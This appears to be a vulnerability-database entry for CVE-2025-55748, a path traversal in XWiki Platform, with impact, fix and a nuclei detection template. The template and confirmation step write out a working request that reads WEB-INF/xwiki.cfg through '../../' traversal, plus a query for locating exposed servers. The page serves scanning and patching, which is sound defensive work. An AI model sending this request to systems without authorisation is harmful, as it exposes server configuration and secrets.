XWiki Platform - Path Traversal

highseverity

7.5CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.

Impact

Remote attackers can read sensitive configuration files, potentially exposing critical system information.

Fix

Upgrade to version 16.10.7 or later.

How to confirm it

Send: GET {{BaseURL}}/bin/ssx/Main/WebHome?resource=../../WEB-INF/xwiki.cfg&minify=false
Positive when: contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-55748 -u <target>

The full check

id: CVE-2025-55748

info:
  name: XWiki Platform - Path Traversal
  author: Redmomn
  severity: high
  description: |
    XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.
  impact: |
    Remote attackers can read sensitive configuration files, potentially exposing critical system information.
  remediation: |
    Upgrade to version 16.10.7 or later.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-m63c-3rmg-r2cf
    - https://github.com/xwiki/xwiki-platform/commit/9e7b4c03f2143978d891109a17159f73d4cdd318#diff-ee78930a9ac5ea586179fe8ab88a5fd58e369d175927d1e88a0b4dbc3ebcbf1eR62
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55748
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-55748
    epss-score: 0.01843
    epss-percentile: 0.79195
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,lfi,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/bin/ssx/Main/WebHome?resource=../../WEB-INF/xwiki.cfg&minify=false'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from